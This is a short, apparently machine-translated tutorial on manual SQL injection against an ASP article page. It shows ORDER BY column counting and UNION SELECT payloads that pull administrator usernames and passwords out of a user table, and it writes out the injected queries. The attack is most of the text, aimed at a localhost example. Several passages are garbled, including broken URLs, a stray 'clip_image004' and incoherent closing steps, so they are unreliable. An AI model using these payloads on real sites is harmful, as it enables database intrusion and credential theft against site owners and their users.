Cainiao also came to learn penetration-asp manual injection joint Query

My articles are all deeply analyzed and I will write down the principles. Unlike the tutorials that only tell you what statements are used, they do not understand the principle. Http: // localhost/getarticle. asp? Articleid = 1 order by 5: You can query the number of fields in the table. This method uses numbers as the field names, which indicates that the query statements actually brought into the database are: select * from article where articleid = 1 order by 5 execution result in the database: http: // localhost/getarticle. asp? Articleid = 1 union select 1, 2, 3, 4 from user Similarly, the query statement in the database is: select * from article where articleid = 1 union select 1, 2, 3, 4 from user known number of fields in the article table, union queries the values of the first four fields in the user table. The reason for not querying the values of all fields in the user table is as follows: first, there is no way to know the number of fields in the user table. Second, the SELECT statement inside the UNION must have the same number of columns. Database query results: the query results are as follows. If the numbers 1, 2, 3, and 4 are displayed on the page, the content in the user table can be exposed. Guess the field: select * from article where articleid = 1 union select 1, pwds, names, 4 from user. At this time, the Administrator's username and password are displayed on the page. Of course, database errors must be reported during actual operations. Http: // localhost/getarticle. asp? Add and 1 = 2 after article Id = 1. If only the first content is displayed on the page, the second content is not displayed. Change the order of the two sentences. Select * from article where articleid = 1 union select 1, names, pwds, 4 from user order by 3 plus order by clip_image004. This does not seem to allow the database to be used without any errors.